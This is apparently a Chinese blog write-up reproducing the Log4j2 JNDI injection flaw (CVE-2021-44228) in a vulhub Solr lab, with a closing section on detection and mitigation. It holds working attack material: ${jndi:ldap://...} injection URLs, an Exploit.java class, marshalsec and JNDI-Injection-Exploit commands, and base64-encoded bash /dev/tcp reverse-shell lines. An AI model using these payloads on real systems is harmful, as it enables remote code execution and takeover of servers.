log4j2---基於vulhub的log4j2漏洞復現---反彈shell

2023-07-29 06:01:07

基於vulhub的log4j2漏洞復現---反彈shell

1.方法一

環境準備:

和我上一篇fastjson1.2.24漏洞復現是一樣的環境,方法也差別不大

宣告:遵紀守法,僅作學習記錄用處,部分描述文字源於網路,若侵權聯絡刪除

老演員:

centos8:192.168.59.135 vulhub靶場

win10:192.168.59.130 攻擊機

log4j2

log4j2是apache旗下的一個java應用的開源紀錄檔庫,Java的紀錄檔記錄工具。

log4j2是在log4j框架的基礎上進行了改進,引入了豐富的特性,可控制紀錄檔資訊輸送的目的地為控制檯、檔案、GUI元件等,應用於業務系統開發、記錄程式輸入輸出紀錄檔資訊

JNDI:(取自網路,若侵權聯絡刪)

JNDI全稱 Java Naming and Directory Interface。JNDI是Java平臺的一個標準擴充套件,提供了一組介面、類和關於名稱空間的概念。如同其它很多Java技術一樣,JDNI是provider-based的技術,暴露了一個API和一個服務供應介面(SPI)。這意味著任何基於名字的技術都能通過JNDI而提供服務,只要JNDI支援這項技術。JNDI目前所支援的技術包括LDAP、CORBA Common Object Service(COS)名字服務、RMI、NDS、DNS、Windows登入檔等等。很多J2EE技術,包括EJB都依靠JNDI來組織和定位實體。
JDNI通過繫結的概念將物件和名稱聯絡起來。在一個檔案系統中,檔名被繫結給檔案。在DNS中,一個IP地址繫結一個URL。在目錄服務中,一個物件名被繫結給一個物件實體。
JNDI中的一組繫結作為上下文來參照。每個上下文暴露的一組操作是一致的。例如,每個上下文提供了一個查詢操作,返回指定名字的相應物件。每個上下文都提供了繫結和撤除繫結名字到某個物件的操作。JNDI使用通用的方式來暴露名稱空間,即使用分層上下文以及使用相同命名語法的子上下文。

還是講講原理吧:

Log4j2是預設支援解析ldap/rmi協定的,列印的紀錄檔中包括ldap/rmi協定都行,通過名稱從ldap伺服器端獲取對應的Class檔案,使用ClassLoader在本地載入Ldap伺服器端返回Class類。

這就為攻擊者提供了攻擊途徑:攻擊者可傳入一個包含惡意內容的檔案:一個惡意的Class檔案,包含ldap協定內容(例如:惡意內容${jndi:ldap://localhost:9999/Exploit}惡意內容)。該內容傳遞到後端被log4j2列印出來,就會觸發惡意的程式碼、命令的載入執行,從而達到攻擊的目的。

​ cve編號:CVE-2021-44228

log4j2框架下的lookup查詢服務提供了{}欄位解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何可能:惡意程式碼,載入服務,無限可能。

攻擊者可利用這一點進行JNDI注入,使得受害者請求遠端服務來連結本地物件,在lookup的{}裡面構造payload,呼叫JNDI服務(LDAP)向攻擊者提前部署好的惡意站點獲取惡意的.class物件,造成了遠端程式碼執行---可反彈shell到指定伺服器

開幹吧!!!

開啟靶場

cd vulhub/log4j/2CVE-2021-44228

docker-compose up -d //開啟靶場
docker-compose ps //檢視靶場埠

開放的埠:8983

存取:http://192.168.59.135:8983

測試有無注入點:

藉助網路工具:http://dnslog.cn/

注入點:/solr/admin/cores?有個引數可傳

Get SubDomin:獲取子域名

egcn05.dnslog //我的子域名

存取:

http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.egcn05.dnslog.cn}

http://靶機IP:靶機開放埠/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.子域名}

看dnslog.cn,有返回Java版本,可注入(較慢,可重新整理或等待)

將下面這個程式碼進行base64編碼:(去網上搜尋,有很多都可以進行base64編碼的網站)IP替換為靶機IP地址

bash -i >& /dev/tcp/192.168.59.135/7777 0>&1

編碼後:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}

老規矩,在Java資料夾裡寫一個Exploit.java,寫入下面的程式碼:

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC83Nzc3IDA+JjEK}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

javac Exploit.java //編譯

生成Exploit.class檔案

直接在這個Java資料夾開啟http服務:

python -m http.server 4444

然後存取:192.168.59.130:4444

可以看到那個編譯好的class檔案

然後又到了熟悉的操作!!!

進入marshalsec目錄

cmd

mvn clean package -DskipTests //執行

有藍色success

生成一個target資料夾

cd target

接下來開啟ldap偵聽

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.59.130:4444/#Exploit" 1389

nc(nmap)開啟監聽:

nc -lvvp 7777 //linux

ncat.exe -lvvp 7777 //win10 要進入包含ncat.exe的資料夾下,然後調出cmd

開始注入!!!!!

http://靶機IP:8983/solr/admin/cores?action=${jndi:ldap://攻擊機IP:1389/Exploit}

http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}

看效果:(前面的404是因為我win10殺了那個class檔案,我去重新編譯一次就可以存取到了)

重頭戲來了:

拿下!!!!!

看到這裡,有人想說,你自己點進去的吧?真不是。

關閉靶場!!

docker-compose down

2.方法二

下載jndi-injection-exploit工具

https://gitcode.net/mirrors/sayers522/jndi-injection-exploit

下載完我解壓在E槽,切換到jndi-injection-exploit資料夾,cmd出來

mvn clean package -DskipTests //等待環境success

cd target //先備用,後面要用

需要對下面的程式碼進行base64編碼

bash -i >& /dev/tcp/192.168.59.130/8888 0>&1

base64編碼:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

使用:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "上面的base64" -A "攻擊機IP地址"

實際:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.59.130"

cd target //備用的,這裡用

在target的目錄直接放進上面的程式碼,開始偵聽

然後進入ncat的目錄,cmd,偵聽8888埠

ncat.exe lvvp 8888

接下來到payload:事實上還有其他payload,可自行baidu學習

瀏覽器直接存取

http://靶機:8983/solr/admin/cores?action=${jndi:ldap://攻擊機:1389/Exploit}

http://192.168.59.135:8983/solr/admin/cores?action=${jndi:ldap://192.168.59.130:1389/Exploit}

結果:

JNDI注入顯示結果:

成功反彈shell!拿下!!!!

好了,結束!!!!!!!

3.防範

log4j2是2021年底爆出的非常嚴重的漏洞,可謂是風靡一時,「血洗網際網路」,也是安全公司面試的常見題目

如何排查是否受到了攻擊?

檢查紀錄檔中是否存在"jndi:ldap://"、"jndi:rmi//"等字元來發現可能的攻擊行為,前面復現的過程在payload的構造中都出現了這樣的字串,這是攻擊的典型標誌。

如何對log4j2的攻擊進行防禦?

  1. 設定log4j2.formatMsgNoLookups=True。相當於直接禁止lookup查詢出棧,也就不可能請求到存取到遠端的惡意站點。

  2. 對包含有"jndi:ldap://"、"jndi:rmi//"這樣字串的請求進行攔截,即攔截JNDI語句來防止JNDI注入。

  3. 對系統進行合理設定,禁止不必要的業務存取外網,設定網路防火牆,禁止系統主動外連網路等等

  4. 升級 Log4j2 至 log4j-2.16.0-rc1 版本官網地址:

    https://github.com/apache/logging-log4j2/releases/tag/log4j-2.16.0-rc1

  5. ​ 新增 jvm 啟動引數-Dlog4j2.formatMsgNoLookups=true;

  6. ​ 在應用 classpath 下新增 log4j2.component.properties 組態檔,檔案內容為log4j2.formatMsgNoLookups=true;

  7. 設定系統環境變數FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設定為true;

  8. 建議使用 11.0.1、8u191、7u201、6u211 及以上的高版本 JDK。

:未經同意請勿轉載,僅作學習使用。以上有描述不正確之處,望大家能不吝指出,共同學習共同進步。謝謝